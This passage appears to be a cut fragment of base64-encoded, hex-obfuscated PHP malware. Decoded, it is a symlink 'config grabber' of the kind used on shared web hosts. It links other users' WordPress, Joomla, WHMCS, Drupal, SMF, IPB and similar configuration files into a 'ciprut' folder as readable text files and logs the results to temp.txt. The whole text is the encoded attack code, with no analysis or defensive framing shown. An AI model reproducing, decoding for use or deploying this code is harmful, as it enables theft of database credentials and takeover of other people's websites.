x4NzQiKTskeyJceDQ3TE9ceDQyXHg0MVx4NGNceDUzIn1bImhyaXhceDc2XHg2N1x4NjkiXT0iXHg2NXRceDYzXHg2MyI7c3ltbGluaygiLyIuJHskeyJHTFx4NGZceDQyQVx4NGNceDUzIn1bIlx4NjJceDc4XHg2Ym12clx4NmJ5Il19WzFdLiIvIi4keyR7IkdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiaGpceDYzXHg2N1x4NzhnXHg3OVx4NmFceDYzbSJdfVswXS4iLyIuJHskeyJHXHg0Y1x4NGZceDQyQVx4NGNTIn1bIlx4NjZpaHhceDc2XHg2OFx4NzBceDc0XHg3MHAiXX1bM10uIi9iXHg2Y29ceDY3L3dceDcwLWNvXHg2ZVx4NjZpZ1x4MmVceDcwaFx4NzAiLCJjaXByXHg3NVx4NzQvIi4keyR7Ilx4NDdMXHg0ZkJceDQxXHg0Y1MifVsiXHg2N1x4NzdceDc2dWpceDZhXHg3MSJdfVswXS4iLVdceDZmXHg3MmRceDUwXHg3Mlx4NjVceDczcy5ceDc0eFx4NzQiKTskc2RuZGhpdmpyPSJkXHg2OVx4NzIiO3N5bWxpbmsoIi8iLiR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjUyJ9WyJyXHg3N25ceDYxYVx4NjVceDYzXHg3YVx4NjZceDc0Il19WzFdLiIvIi4keyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFMifVsiXHg2Nlx4NjZceDc5XHg2YmRceDYyXHg3Nlx4NzFceDZiXHg2YyJdfVswXS4iLyIuJHskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNTIn1bIlx4NjJceDc4XHg2Ylx4NmR2clx4NmJceDc5Il19WzNdLiIvXHg3N1x4NzAvXHg3N1x4NzAtY29uZlx4NjlnXHgyZXBocCIsImNpXHg3MHJ1XHg3NC8iLiR7JHsiR1x4NGNPQkFMXHg1MyJ9WyJceDc2XHg3M1x4NzZwdGJceDczXHg3NGtceDczIl19WzBdLiItXHg1N1x4NmZceDcyZFByZXNzLnR4dCIpOyRjaGlodnlkaT0iXHg2NFx4NjlyIjtzeW1saW5rKCIvIi4keyR7IkdMXHg0Zlx4NDJceDQxTFMifVsiYnhceDZibXZyXHg2Ylx4NzkiXX1bMV0uIi8iLiR7JHsiXHg0N0xceDRmXHg0Mlx4NDFMXHg1MyJ9WyJ2XHg3M3ZwXHg3NFx4NjJceDczXHg3NFx4NmJzIl19WzBdLiIvIi4keyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsidlx4NzN5XHg2NGhlXHg3NFx4NmJceDY3Il19WzNdLiIvXHg3M1x4NjlceDc0XHg2NS93XHg3MC1jXHg2Zm5ceDY2aWdceDJlXHg3MFx4NjhceDcwIiwiXHg2M1x4NjlwXHg3Mlx4NzVceDc0LyIuJHskeyJceDQ3TFx4NGZCXHg0MVx4NGNceDUzIn1bIlx4NzZceDczXHg3NnB0XHg2Mlx4NzNceDc0XHg2Ylx4NzMiXX1bMF0uIi1ceDU3XHg2ZnJkXHg1MHJceDY1c3NceDJldHh0Iik7JGlldmp5eno9ImV0XHg2M1x4NjMiOyR7Ilx4NDdMXHg0Zlx4NDJBTFx4NTMifVsiXHg2NFx4NzNzbWhceDc2XHg2YVx4NmYiXT0iXHg2NFx4NjlyIjskeGdrYXBuaGRiPSJlXHg3NFx4NjNjIjskdmNwdGhybmg9ImVceDc0XHg2M2MiO3N5bWxpbmsoIi8iLiR7JHsiR1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJceDYyeFx4NmJceDZkXHg3Nlx4NzJrXHg3OSJdfVsxXS4iLyIuJHskeyJceDQ3TFx4NGZCXHg0MUxceDUzIn1bIlx4NzZceDczXHg3NnBceDc0XHg2Mlx4NzNceDc0XHg2Ylx4NzMiXX1bMF0uIi8iLiR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDc5b2hceDc3XHg2Mlx4NjFceDdhIl19WzNdLiIvXHg2M1x4NmZuZmlnLlx4NzBocCIsIlx4NjNceDY5cHJ1XHg3NC8iLiR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDcwXHg3Mlx4NjljXHg3MmpsIl19WzBdLiItUGhceDcwQlx4NDIuXHg3NFx4NzhceDc0Iik7JHsiXHg0N1x4NGNceDRmQlx4NDFMUyJ9WyJceDc5ZXpceDYyY1x4NmNhXHg2M1x4NzQiXT0iXHg2NFx4NjlyIjskeyJHTE9ceDQyQVx4NGNTIn1bInpjXHg2Mlx4NzZceDY0XHg3N1x4NjIiXT0iZFx4NjlceDcyIjskaHB5cmdoZ2Z1eGo9Ilx4NjRceDY5XHg3MiI7JHsiR0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDc1blx4NzFceDcya1x4NjdceDcwXHg2YnVceDc3XHg3MCJdPSJceDY0XHg2OVx4NzIiOyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg2N1x4NzFceDYxXHg2OVx4NjFuXHg2NiJdPSJceDY1dFx4NjNceDYzIjtzeW1saW5rKCIvIi4keyRid3JrZXl4YXJyfVsxXS4iLyIuJHskeyJHXHg0Y1x4NGZceDQyQVx4NGNTIn1bInZzXHg3Nlx4NzBceDc0YnN0XHg2YnMiXX1bMF0uIi8iLiR7JGhweXJnaGdmdXhqfVszXS4iL1x4NjlceDZlXHg2M2x1ZFx4NjVzL2NceDZmbmZceDY5Zy5ceDcwaHAiLCJceDYzXHg2OXBceDcydXQvIi4keyR7Ilx4NDdMXHg0ZkJBTFMifVsiXHg2OHJpXHg3OFx4NzZceDY3XHg2OSJdfVswXS4iLXZceDQyXHg3NWxceDZjZVx4NzRceDY5blx4MmV0eHQiKTtzeW1saW5rKCIvIi4keyR7IkdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2MnhceDZibVx4NzZceDcya1x4NzkiXX1bMV0uIi8iLiR7JHhna2FwbmhkYn1bMF0uIi8iLiR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDYyXHg3OFx4NmJceDZkXHg3Nlx4NzJceDZiXHg3OSJdfVszXS4iL2NvbmZpZ1x4NzVceDcyYXRpXHg2Zlx4NmUuXHg3MFx4NjhceDcwIiwiY1x4NjlwXHg3Mlx4NzV0LyIuJHskeyJHTFx4NGZCXHg0MVx4NGNceDUzIn1bIlx4NzZzXHg3Nlx4NzB0XHg2MnN0a1x4NzMiXX1bMF0uIi1Kb1x4NmZtbGEudHhceDc0Iik7c3ltbGluaygiLyIuJHskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4NjJceDc4a1x4NmR2XHg3Mlx4NmJceDc5Il19WzFdLiIvIi4keyR6Z3Zwb2tvZ2lmdH1bMF0uIi8iLiR7JHsiR0xceDRmQlx4NDFMXHg1MyJ9WyJceDYyeFx4NmJtXHg3Nlx4NzJceDZiXHg3OSJdfVszXS4iL1x4NzdlXHg2Mi9ceDYzb1x4NmVmXHg2OWd1XHg3MmFceDc0aW9uLnBocCIsImNceDY5cFx4NzJceDc1XHg3NC8iLiR7JHsiR0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDc2XHg3M1x4NzZceDcwXHg3NFx4NjJzXHg3NGtceDczIl19WzBdLiItXHg0YW9vXHg2ZFx4NmNceDYxLnR4XHg3NCIpO3N5bWxpbmsoIi8iLiR7JHsiXHg0N1x4NGNPQlx4NDFceDRjUyJ9WyJceDcyalx4NjhceDc4clx4NjQiXX1bMV0uIi8iLiR7JGtua3RzY219WzBdLiIvIi4keyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFMifVsiXHg2Mlx4NzhceDZiXHg2ZFx4NzZceDcyXHg2Ylx4NzkiXX1bM10uIi9ceDZhb1x4NmZceDZkXHg2Y2EvXHg2M29uZmlnXHg3NXJceDYxXHg3NFx4NjlceDZmbi5ceDcwaFx4NzAiLCJjaXByXHg3NXQvIi4keyRmYm9qZGVwdGt9WzBdLiItSm9vbVx4NmNceDYxXHgyZXRceDc4dCIpOyR7IkdceDRjXHg0ZkJBXHg0Y1x4NTMifVsiXHg3MFx4NjRceDZjXHg3MnZceDc2XHg2NXZ6XHg3MSJdPSJceDY0XHg2OVx4NzIiOyRlY2hta3hkYm9zPSJceDY1XHg3NFx4NjNceDYzIjtzeW1saW5rKCIvIi4keyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFx4NTMifVsiXHg2NHNceDczXHg2ZFx4NjhceDc2XHg2YVx4NmYiXX1bMV0uIi8iLiR7JHsiXHg0N1x4NGNPXHg0MkFMUyJ9WyJceDc2c3ZwXHg3NFx4NjJceDczXHg3NFx4NmJceDczIl19WzBdLiIvIi4keyRzY3Nrcmpna3lsfVszXS4iL1x4NzNceDY5dFx4NjUvY29ceDZlZlx4NjlceDY3dVx4NzJceDYxXHg3NGlceDZmXHg2ZS5ceDcwXHg2OFx4NzAiLCJceDYzXHg2OVx4NzBceDcyXHg3NXQvIi4keyR7Ilx4NDdceDRjXHg0Zlx4NDJBXHg0Y1x4NTMifVsiXHg3Nlx4NzN2cFx4NzRceDYyc3RrXHg3MyJdfVswXS4iLUpvXHg2Zm1ceDZjXHg2MS5ceDc0eFx4NzQiKTtzeW1saW5rKCIvIi4keyR7Ilx4NDdceDRjXHg0Zlx4NDJBXHg0Y1x4NTMifVsiXHg3OHVceDZmXHg2Mlx4NjVceDY1XHg3M1x4NmF5ZCJdfVsxXS4iLyIuJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MUxTIn1bIlx4NzZceDczXHg3NnBceDc0XHg2MnNceDc0a1x4NzMiXX1bMF0uIi8iLiR7JHsiR0xPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDYyXHg3OFx4NmJceDZkXHg3Nlx4NzJceDZieSJdfVszXS4iL2NvXHg2ZVx4NjZfXHg2N2xvXHg2MmFceDZjXHgyZVx4NzBceDY4XHg3MCIsIlx4NjNceDY5XHg3MFx4NzJ1dC8iLiR7JHsiXHg0N1x4NGNceDRmXHg0MkFMXHg1MyJ9WyJceDc2XHg3M3ZwXHg3NFx4NjJceDczXHg3NFx4NmJceDczIl19WzBdLiItXHg0OVx4NTBceDQyXHgyZXRceDc4XHg3NCIpO3N5bWxpbmsoIi8iLiR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJwXHg2NFx4NmNceDcydlx4NzZceDY1XHg3Nlx4N2FxIl19WzFdLiIvIi4keyR7Ilx4NDdceDRjXHg0ZkJBXHg0Y1MifVsidlx4NzNceDc2XHg3MHRiXHg3M1x4NzRrXHg3MyJdfVswXS4iLyIuJHskeyJHXHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4NjJ4XHg2Ylx4NmR2XHg3Mlx4NmJceDc5Il19WzNdLiIvaW5jL2NvXHg2ZVx4NjZceDY5XHg2N1x4MmVceDcwXHg2OFx4NzAiLCJceDYzaVx4NzByXHg3NVx4NzQvIi4keyR7Ilx4NDdMT0JBXHg0Y1MifVsibFx4NjFceDZiXHg3MVx4NzVceDc4b1x4NjYiXX1bMF0uIi1ceDRkXHg3OUJceDQyLlx4NzRceDc4XHg3NCIpOyR7Ilx4NDdceDRjXHg0ZkJBXHg0Y1x4NTMifVsiXHg2Ylx4NmNwXHg2MXZtXHg3OVx4NjkiXT0iZFx4NjlceDcyIjtzeW1saW5rKCIvIi4keyR7Ilx4NDdceDRjT1x4NDJBTFMifVsiYlx4NzhceDZiXHg2ZHZya1x4NzkiXX1bMV0uIi8iLiR7JHsiXHg0N0xceDRmQkFceDRjXHg1MyJ9WyJceDc2c1x4NzZwdGJceDczXHg3NGtzIl19WzBdLiIvIi4keyR7Ilx4NDdceDRjT0JceDQxXHg0Y1MifVsiYlx4NzhceDZiXHg2ZFx4NzZyXHg2Ylx4NzkiXX1bM10uIi9TXHg2NXR0aVx4NmVnXHg3My5ceDcwaHAiLCJceDYzXHg2OXBceDcydXQvIi4keyR7Ilx4NDdMT1x4NDJceDQxXHg0Y1MifVsidnN2XHg3MFx4NzRceDYyXHg3M1x4NzRrXHg3MyJdfVswXS4iLVNceDRkRi5ceDc0eFx4NzQiKTtzeW1saW5rKCIvIi4keyR7Ilx4NDdceDRjXHg0Zlx4NDJBXHg0Y1x4NTMifVsiXHg2Mlx4NzhrXHg2ZHZceDcya1x4NzkiXX1bMV0uIi8iLiR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDc2XHg3M1x4NzZceDcwXHg3NFx4NjJceDczXHg3NGtzIl19WzBdLiIvIi4keyR7IkdceDRjT0JceDQxXHg0Y1x4NTMifVsiXHg2N1x4NjVmXHg3N1x4NmZqIl19WzNdLiIvc1x4Njl0XHg2NXMvXHg2NGVceDY2YVx4NzVceDZjdC9zZXRceDc0aVx4NmVnXHg3M1x4MmVceDcwXHg2OHAiLCJceDYzXHg2OXBceDcydXQvIi4keyRlY2hta3hkYm9zfVswXS4iLVx4NDRceDcydVx4NzBceDYxbC50XHg3OHQiKTtzeW1saW5rKCIvIi4keyR7IkdceDRjT0JceDQxXHg0Y1MifVsiXHg2Mlx4NzhceDZiXHg2ZFx4NzZya3kiXX1bMV0uIi8iLiR7JGxzZGN2cGx1ZHlkZH1bMF0uIi8iLiR7JHsiR0xPXHg0MkFceDRjXHg1MyJ9WyJceDYxXHg3Nlx4NmJieVx4NmF5XHg2ZSJdfVszXS4iL1x4NjVceDMxMDdfY29uXHg2Nlx4NjlnXHgyZVx4NzBceDY4cCIsIlx4NjNpXHg3MFx4NzJ1XHg3NC8iLiR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJ2XHg3M1x4NzZceDcwXHg3NFx4NjJzdFx4NmJceDczIl19WzBdLiItZTEwXHgzNy5ceDc0XHg3OHQiKTtzeW1saW5rKCIvIi4keyR7Ilx4NDdceDRjXHg0ZkJceDQxTFx4NTMifVsiYlx4NzhrbVx4NzZyXHg2YnkiXX1bMV0uIi8iLiR7JGVtbHdrc2ZsaWV9WzBdLiIvIi4keyR4bXljY2NmaG5wfVszXS4iL1x4NjRhdFx4NjFzL1x4NjNvXHg2ZVx4NjZceDY5Z1x4MmVceDcwaHAiLCJjaVx4NzBceDcyXHg3NVx4NzQvIi4keyR7Ilx4NDdceDRjT0JceDQxTFMifVsiXHg3NnNceDc2XHg3MHRceDYyXHg3M1x4NzRceDZiXHg3MyJdfVswXS4iLVx4NTNlXHg2NFx4Njl0aW8uXHg3NHh0Iik7c3ltbGluaygiLyIuJHskeyJceDQ3TFx4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4N2FjYlx4NzZkXHg3N1x4NjIiXX1bMV0uIi8iLiR7JGV0ZGVueHRtc31bMF0uIi8iLiR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjUyJ9WyJceDYyXHg3OFx4NmJceDZkdnJceDZiXHg3OSJdfVszXS4iL1x4NjluY2xceDc1XHg2NGVceDczL2NceDZmblx4NjZpZ3VyXHg2NVx4MmVceDcwaFx4NzAiLCJceDYzaVx4NzByXHg3NVx4NzQvIi4keyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1MifVsiXHg3Nlx4NzNceDc2XHg3MFx4NzRceDYyXHg3M1x4NzRrcyJdfVswXS4iLVx4NmZceDczQ1x4NmZceDZkbWVceDcyY1x4NjVceDJlXHg3NFx4NzhceDc0Iik7c3ltbGluaygiLyIuJHskeyJHXHg0Y09ceDQyXHg0MUxTIn1bIlx4NjlnXHg3Mlx4NjRwXHg2NVx4NzdceDY5Il19WzFdLiIvIi4keyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFMifVsidnNceDc2XHg3MHRiXHg3M3RceDZiXHg3MyJdfVswXS4iLyIuJHskeyJceDQ3XHg0Y09ceDQyQVx4NGNTIn1bIlx4NjFceDc3anBceDdhXHg3MFx4NzJceDc0XHg3MHAiXX1bM10uIi9ceDYzXHg2Y2lceDY1XHg2ZXQvY1x4NmZceDZlXHg2NmlceDY3XHg3NXJhXHg3NFx4NjlceDZmXHg2ZVx4MmVwXHg2OFx4NzAiLCJceDYzXHg2OXBceDcyXHg3NXQvIi4keyR7IkdceDRjXHg0ZkJBXHg0Y1x4NTMifVsiXHg3Nlx4NzNceDc2XHg3MHRceDYyXHg3M1x4NzRceDZiXHg3MyJdfVswXS4iLVx4NTdceDQ4XHg0ZENceDUzLnR4dCIpOyR7Ilx4NDdMXHg0ZkJBXHg0Y1MifVsidGhpaFx4NzZiXHg3YVx4NjVceDYzXHg2N2UiXT0iXHg2NFx4NjlyIjskeyJceDQ3XHg0Y09ceDQyQVx4NGNTIn1bIlx4NjdceDY5XHg2Nlx4NmNtYlx4NmZceDc4XHg3MFx4NjUiXT0iXHg2Y1x4NjlceDZlXHg2YiI7c3ltbGluaygiLyIuJHskeyJceDQ3TFx4NGZCXHg0MVx4NGNTIn1bImJceDc4a1x4NmRceDc2XHg3Mlx4NmJceDc5Il19WzFdLiIvIi4keyR2Y3B0aHJuaH1bMF0uIi8iLiR7JHsiR0xPXHg0Mlx4NDFMXHg1MyJ9WyJiXHg3OGtceDZkdlx4NzJreSJdfVszXS4iL1x4NjNceDZjaWVceDZlXHg3NGVzL2Nvblx4NjZceDY5XHg2N3VyYVx4NzRceDY5b1x4NmVceDJlXHg3MFx4NjhwIiwiXHg2M1x4NjlceDcwcnVceDc0LyIuJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MUxTIn1bIlx4NzZzdlx4NzBceDc0YnNceDc0a3MiXX1bMF0uIi1ceDU3XHg0OE1DXHg1My50eHQiKTskdHhjb2VjdWNqZWdwPSJceDY1dFx4NjNceDYzIjtzeW1saW5rKCIvIi4keyR7Ilx4NDdMXHg0Zlx4NDJBTFx4NTMifVsiXHg2YmxwYXZteVx4NjkiXX1bMV0uIi8iLiR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJ2c3ZceDcwdFx4NjJceDczXHg3NFx4NmJceDczIl19WzBdLiIvIi4keyR7Ilx4NDdMT0JceDQxTFMifVsiYlx4NzhceDZiXHg2ZHZya1x4NzkiXX1bM10uIi9ceDczdXBwb3J0L1x4NjNvXHg2ZVx4NjZpXHg2N3VceDcyYXRceDY5b24ucFx4NjhceDcwIiwiY2lwcnV0LyIuJHskeyJceDQ3TFx4NGZceDQyXHg0MUxceDUzIn1bIlx4NzJceDY4XHg2ZVx4NmFceDZhaVx4NzRceDc5XHg2NHZceDY5Il19WzBdLiItV1x4NDhNXHg0M1x4NTNceDJlXHg3NFx4Nzh0Iik7JG91bXdseHhsdj0iZVx4NzRjYyI7JHsiXHg0N0xceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDZjXHg2Ylx4NmRuXHg2Zlx4NmRceDY5XHg2YSJdPSJceDY1XHg3NGNceDYzIjtzeW1saW5rKCIvIi4keyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2MnhrbXZceDcya1x4NzkiXX1bMV0uIi8iLiR7JHsiXHg0N0xPQkFceDRjUyJ9WyJceDc2XHg3M1x4NzZceDcwXHg3NGJzXHg3NFx4NmJceDczIl19WzBdLiIvIi4keyRzZG5kaGl2anJ9WzNdLiIvc3VwXHg3MG9ydGVzL2NvXHg2ZWZceDY5XHg2N3VyYVx4NzRceDY5b25ceDJlXHg3MFx4NjhceDcwIiwiY1x4NjlceDcwclx4NzVceDc0LyIuJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MUxTIn1bInZzXHg3Nlx4NzBceDc0XHg2MnN0XHg2Ylx4NzMiXX1bMF0uIi1ceDU3SE1ceDQzU1x4MmV0XHg3OFx4NzQiKTtzeW1saW5rKCIvIi4keyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg2Mlx4NzhrXHg2ZFx4NzZceDcyXHg2YnkiXX1bMV0uIi8iLiR7JHsiXHg0N1x4NGNceDRmXHg0MkFMXHg1MyJ9WyJceDZja21ceDZlb1x4NmRceDY5XHg2YSJdfVswXS4iLyIuJHskeyJHXHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bImJceDc4XHg2Ylx4NmRceDc2XHg3Mlx4NmJceDc5Il19WzNdLiIvXHg3N1x4NjhceDZkY1x4NzMvXHg2M29uXHg2NmlceDY3XHg3NXJhXHg3NFx4NjlceDZmbi5ceDcwXHg2OFx4NzAiLCJjaVx4NzByXHg3NVx4NzQvIi4keyR7Ilx4NDdMT1x4NDJBTFx4NTMifVsiXHg3Nlx4NzN2XHg3MFx4NzRiXHg3M1x4NzRrXHg3MyJdfVswXS4iLVx4NTdIXHg0ZFx4NDNceDUzXHgyZVx4NzRceDc4XHg3NCIpO3N5bWxpbmsoIi8iLiR7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDc1XHg2ZXFceDcyXHg2Ylx4NjdwXHg2Ylx4NzVceDc3XHg3MCJdfVsxXS4iLyIuJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MUxceDUzIn1bIlx4NzZzXHg3Nlx4NzBceDc0XHg2Mlx4NzN0XHg2Ylx4NzMiXX1bMF0uIi8iLiR7JGNoaWh2eWRpfVszXS4iL1x4NjRceDZmXHg2ZGFceDY5XHg2ZS9ceDYzXHg2Zm5mXHg2OWd1cmF0XHg2OW9ceDZlLlx4NzBoXHg3MCIsImNceDY5cFx4NzJ1dC8iLiR7JGt2d25uaHN9WzBdLiItXHg1N0hNQ1x4NTNceDJlXHg3NHhceDc0Iik7JHsiR1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDY0XHg3OFx4NzNjb1x4NmYiXT0iZGlceDcyIjskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NmZqXHg2OVx4NzlceDc0XHg2OVx4NjFceDZlXHg2YyJdPSJceDY1dFx4NjNceDYzIjtzeW1saW5rKCIvIi4keyR5bGp0Znd0fVsxXS4iLyIuJHskeyJHXHg0Y1x4NGZCXHg0MVx4NGNceDUzIn1bIlx4NzZzXHg3Nlx4NzBceDc0XHg2Mlx4NzN0XHg2Ylx4NzMiXX1bMF0uIi8iLiR7JGpvdWhjZmloZ3h4fVszXS4iL2hvc3RceDY5XHg2ZVx4NjcvXHg2M1x4NmZceDZlXHg2NmlceDY3dXJhXHg3NGlceDZmXHg2ZVx4MmVwaFx4NzAiLCJjXHg2OXByXHg3NXQvIi4keyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg3Nlx4NzNceDc2XHg3MFx4NzRceDYyXHg3M3RceDZicyJdfVswXS4iLVx4NTdITUNceDUzLnRceDc4dCIpO3N5bWxpbmsoIi8iLiR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJkXHg3OFx4NzNjb1x4NmYiXX1bMV0uIi8iLiR7JHR4Y29lY3VjamVncH1bMF0uIi8iLiR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDYyXHg3OFx4NmJceDZkdlx4NzJceDZieSJdfVszXS4iL3dobVx4NjMvY1x4NmZceDZlZlx4NjlceDY3XHg3NVx4NzJceDYxXHg3NFx4Njlvbi5wXHg2OHAiLCJjaXBceDcydVx4NzQvIi4keyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFMifVsiXHg3Nlx4NzNceDc2XHg3MHRic1x4NzRceDZiXHg3MyJdfVswXS4iLVdIXHg0ZFx4NDNTXHgyZXR4dCIpO3N5bWxpbmsoIi8iLiR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJceDc1XHg3MVx4NzZceDczcmlceDc4ZVx4NjkiXX1bMV0uIi8iLiR7JHsiR1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJnXHg3MWFceDY5YVx4NmVceDY2Il19WzBdLiIvIi4keyR7Ilx4NDdMT1x4NDJceDQxTFx4NTMifVsiXHg2MnhceDZibVx4NzZya1x4NzkiXX1bM10uIi9ceDYyaVx4NmNsXHg2OVx4NmVnL1x4NjNvXHg2ZWZpXHg2N1x4NzVceDcyYVx4NzRpb1x4NmUucFx4NjhceDcwIiwiXHg2M1x4NjlwXHg3Mlx4NzV0LyIuJHskeyJHXHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NjF1XHg2Mlx4NmJceDc3XHg3OFx4NjRceDc5a1x4NjViIl19WzBdLiItXHg1N1x4NDhceDRkXHg0M1NceDJldFx4Nzh0Iik7c3ltbGluaygiLyIuJHskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bImJceDc4XHg2Ylx4NmRceDc2clx4NmJceDc5Il19WzFdLiIvIi4keyRpZXZqeXp6fVswXS4iLyIuJHskeyJceDQ3TFx4NGZceDQyXHg0MUxTIn1bImJ4a21ceDc2XHg3MmtceDc5Il19WzNdLiIvcG9ceDcyXHg3NGFceDZjL2Nvblx4NjZceDY5Z1x4NzVyYVx4NzRceDY5b24ucGhwIiwiY2lwcnV0LyIuJHskeyJHTFx4NGZceDQyXHg0MUxceDUzIn1bIlx4NzZceDczXHg3Nlx4NzBceDc0XHg2Mlx4NzNceDc0XHg2Ylx4NzMiXX1bMF0uIi1ceDU3XHg0OE1ceDQzXHg1My5ceDc0eFx4NzQiKTtzeW1saW5rKCIvIi4keyR7Ilx4NDdMT1x4NDJBTFx4NTMifVsiXHg2Mlx4NzhceDZibVx4NzZceDcyXHg2Ylx4NzkiXX1bMV0uIi8iLiR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDc2XHg3M1x4NzZceDcwXHg3NGJceDczXHg3NFx4NmJzIl19WzBdLiIvIi4keyR7Ilx4NDdceDRjT1x4NDJceDQxTFx4NTMifVsiXHg2MnhrbVx4NzZceDcyXHg2YnkiXX1bM10uIi9ceDZmXHg3MmRlci9jb25maWd1XHg3MmFceDc0aVx4NmZuXHgyZVx4NzBocCIsImNpXHg3MHJ1dC8iLiR7JG91bXdseHhsdn1bMF0uIi1XXHg0OE1ceDQzUy5ceDc0eHQiKTtzeW1saW5rKCIvIi4keyR7IkdMT1x4NDJBXHg0Y1MifVsidFx4NjhpaHZceDYyemVceDYzZ2UiXX1bMV0uIi8iLiR7JHsiXHg0N1x4NGNceDRmQlx4NDFMXHg1MyJ9WyJceDc2XHg3M3ZceDcwdGJceDczdFx4NmJceDczIl19WzBdLiIvIi4keyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1MifVsiXHg2Mlx4NzhceDZiXHg2ZFx4NzZya3kiXX1bM10uIi9ceDYzbFx4NjlceDY1XHg2ZXRceDYxclx4NjVhL2NvXHg2ZWZpZ3VyYXRceDY5XHg2Zlx4NmUuXHg3MGhceDcwIiwiXHg2M2lceDcwclx4NzV0LyIuJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bInZceDczXHg3NnB0Ylx4NzN0XHg2YnMiXX1bMF0uIi1XSE1ceDQzUy5ceDc0eHQiKTtzeW1saW5rKCIvIi4keyR7IkdceDRjXHg0ZkJBXHg0Y1x4NTMifVsiXHg3OVx4NjVceDdhXHg2Mlx4NjNsXHg2MVx4NjN0Il19WzFdLiIvIi4keyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg2Zlx4NmFceDY5XHg3OVx4NzRpXHg2MW5ceDZjIl19WzBdLiIvIi4keyRldXNjZWNnZHl9WzNdLiIvXHg2NG9tXHg2MWlucy9jXHg2Zm5mXHg2OWdceDc1clx4NjF0XHg2OVx4NmZuLnBoXHg3MCIsIlx4NjNceDY5cHJceDc1dC8iLiR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJzZlx4NmRmc1x4NzR4XHg2YVx4NzkiXX1bMF0uIi1ceDU3SFx4NGRDXHg1M1x4MmV0XHg3OFx4NzQiKTtpZihjaGtfaGVhZGVyKCR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJnXHg2OVx4NjZceDZjXHg2ZFx4NjJvXHg3OFx4NzBlIl19KSl7JHsiR1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDcya1x4NjVvXHg2Y1x4NzkiXT0iXHg2NVx4NzRceDYzXHg2MyI7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDZmXHg2N1x4NmN5XHg3OFx4NzJceDc2XHg2MyJdPSJzXHg3NHIiOyR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJvXHg2N1x4NmNceDc5XHg3OFx4NzJceDc2XHg2MyJdfT0iXHgzY3RceDcyXHgzZTxceDc0XHg2ND5ceDNjL3RkPjxceDc0ZFx4M2UiLiR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDcyXHg2Ylx4NjVvbHkiXX1bMF0uIjwvXHg3NFx4NjQ+XHgzY1x4NzRkPi9XXHg2ZnJkXHg1MHJceDY1XHg3M3M8L1x4NzRceDY0PiIuQ2hyKDEwKTtmaWxlX3B1dF9jb250ZW50cygidFx4NjVtcFx4MmVceDc0XHg3OHQiLCR7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDc4XHg2ZnlceDc2aVx4NmFceDY4XHg2Ym1ceDZlIl19LEZJTEVfQVBQRU5EKTt9fWZ1bmN0aW9uIGNoa19oZWFkZXIoJGxpbmspeyR3dGltemZlbnRsP